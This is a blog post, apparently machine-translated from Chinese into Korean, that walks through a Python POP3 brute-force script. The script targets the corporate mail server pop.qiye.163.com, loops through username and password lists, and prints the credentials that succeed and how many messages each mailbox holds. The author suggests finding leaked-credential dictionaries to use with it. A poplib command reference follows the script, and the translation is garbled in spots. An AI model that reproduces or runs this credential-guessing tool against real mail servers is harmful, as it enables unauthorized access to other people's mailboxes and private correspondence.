마스터님의 임무에 따라 기업 이메일 블래스팅 스크립트를 작성하고 이어서 FTP, SSH 등의 블래스팅 스크립트를 작성했습니다.
전체 아이디어에 대해 먼저 이야기하겠습니다.
전체 아이디어는 Python의 poplib 모듈을 사용하여 pop3 서버와 상호 작용하고 얻은 관련 정보를 기반으로 결과를 생성하는 것입니다. POP3 프로토콜도 복잡하지 않습니다. 서버에 명령을 보내면 서버는 반드시 메시지로 응답합니다.
1. 올바른
Sys.argv[]는 명령줄 매개변수를 얻는 데 사용됩니다. sys.argv[0]은 코드 자체의 파일 경로를 나타내므로 매개변수는 1
부터 시작합니다. 2. 그런 다음 사용자 비밀번호 파일에서 정보 가져오기
3.pop.getwelcome()을 사용하여 연결 서버의 응답 상태를 가져옵니다
4. 그런 다음 스크립트의 핵심 코드 부분이 나옵니다
server = "pop.qiye.163.com" //设置pop3服务器地址 pop = poplib.POP3(server,110) //连接pop3服务器 pop.user(user) //验证用户名 auth = pop.pass_(passwd) //验证密码 if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK” pring user,passwd
5. 마지막으로 해당 사용자 정보를 출력합니다
스크립트 코드는 다음과 같습니다.
#!/usr/bin/python # -*- coding: UTF-8 -*- ''' @Author:joy_nick @博客:http://byd.dropsec.xyz/ @Email Pop3 Brute Forcer ''' import threading, time, random, sys, poplib from copy import copy if len(sys.argv) !=3: print "\t --------------------------------------------------\n" print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n" sys.exit(1) server = "pop.qiye.163.com" success = [] try: users = open(sys.argv[1], "r").readlines() except(IOError): print "[-] Error: urerlist打开失败!\n" sys.exit(1) try: words = open(sys.argv[2], "r").readlines() except(IOError): print "[-] Error: passlist打开失败!\n" sys.exit(1) try: pop = poplib.POP3(server,110) welcome = pop.getwelcome() print welcome pop.quit() except (poplib.error_proto): welcome = "No Response" pass def mailbruteforce(listuser,listpwd): if len(listuser) < 1 or len(listpwd) < 1 : print "An error occurred: No user or pass list" return 1 for user in listuser: for value in listpwd : user = user.replace("\n","") value = value.replace("\n","") try: print "-"*12 print "[+] User:",user,"Password:",value time.sleep(1) pop = poplib.POP3(server,110) pop.user(user) auth = pop.pass_(value) print auth if auth.split(' ')[0]!= "+OK" : pop.quit() print "unknown error !" continue if pop.stat()[1] is None or pop.stat()[1] < 1 : pop.quit() print "获取信息失败!" continue ret = (user,value,pop.stat()[0],pop.stat()[1]) success.append(ret) pop.quit() break except: #print "An error occurred:", msg pass print "\t --------------------------------------------------\n" print "[+] Server:",server print "[+] Port: 995" print "[+] Users Loaded:",len(users) print "[+] Words Loaded:",len(words) print "[+] Server response:",welcome,"\n" mailbruteforce(users,words) print "\t[+] have weakpass :\t",len(success) if len(success) >=1: for ret in success: print "\n\n[+] Login successful:",ret[0], ret[1] print "\t[+] Mail:",ret[2],"emails" print "\t[+] Size:",ret[3],"bytes\n" print "\n[-] Done"
테스트 결과:
지침:
사용자 사전 파일에는 @domain.com이 필요합니다. zhangsan@domain.com, lisi@domain.com, wangwu@domain.com과 유사합니다. 저는 회사 이메일 계정과 비밀번호가 없어서 테스트를 성공적으로 마치지 못했습니다. 관심 있으신 분들은 관련 사회복지 바지를 검색해보시면 됩니다.
첨부파일:
파이썬에서 os._exit(), sys.exit(), exit()의 차이점은 무엇인가요?
sys.exit(n)은 프로그램을 종료하고 일부 정리 작업을 수행하기 위해 포착될 수 있는 SystemExit 예외를 트리거합니다. n의 기본값은 0이며, 다른 경우는 비정상적인 종료입니다. 이 예외는 포착되지 않고 바로 종료됩니다. 이 예외를 포착하면 추가 정리 작업을 수행할 수 있습니다. 일반적으로 이 종료
os._exit(n)는 Python 인터프리터를 직접 종료하기 위해 기본 프로그램에서 사용됩니다. 후속 코드는 실행되지 않으며 예외도 발생하지 않으며 관련 정리 작업도 수행되지 않습니다. 하위 프로세스 종료에 자주 사용됩니다.
exit()는 C 언어
와 같은 다른 언어의 종료()와 동일해야 합니다. pop3에서 이메일을 받는 과정은 일반적으로 다음과 같습니다.
pop3 서버에 연결(poplib.POP3.__init__)
확인을 위해 사용자 이름과 비밀번호를 보냅니다(poplib.POP3.user poplib.POP3.pass_ )
메일함에서 메일 정보 가져오기(poplib.POP3.stat)
메일 받기(poplib.POP3.retr)
메일 삭제(poplib.POP3.dele)
종료(poplib.POP3.quit)
poplib 메소드 매개변수 상태 설명 명령
---- ----------- ------------- ----------- ------
USER user username 이 명령과 다음 pass 명령이 다음과 같은 경우 사용자 이름을 승인합니다. 성공하면 상태 전환이 발생합니다
PASS pass_ 비밀번호가 사용자 비밀번호를 승인합니다
APOP apop 이름, 다이제스트가 MD5 메시지 요약을 승인합니다
--------------- ---------------------- --------------- ---------------------- -
STAT stat 없음 요청 서버를 처리하여 통계를 다시 보냅니다. 총 이메일 수 및 총 바이트와 같은 사서함 정보
UIDL uidl [Msg#] 반환된 이메일의 고유 식별자를 처리하며, POP3 세션의 각 식별자는 고유합니다.
LIST list [Msg#] 메시지 수 및 각 메시지 크기 반환을 처리합니다.
RETR retr [Msg#] 매개변수로 식별된 메시지의 전체 텍스트 반환을 처리합니다.
DELE dele [Msg #] 처리 서버는 다음으로 식별된 메일을 표시합니다. 삭제된 매개변수, quit 명령에 의해 실행
RSET rset 없음 처리 서버는 삭제 표시된 모든 메일을 재설정하며 DELE 명령을 실행 취소하는 데 사용됩니다.
TOP top [Msg#] 처리 서버는 첫 번째 n을 반환합니다. 매개변수로 식별되는 이메일 라인 n은 양의 정수여야 합니다.
NOOP noop 없음. 처리 서버가 긍정적인 응답을 반환합니다.
기업 메일함을 만들기 위한 Python의 폭발 스크립트와 관련된 추가 기사를 보려면 비용을 지불하세요. PHP 중국어 웹사이트에 주목하세요!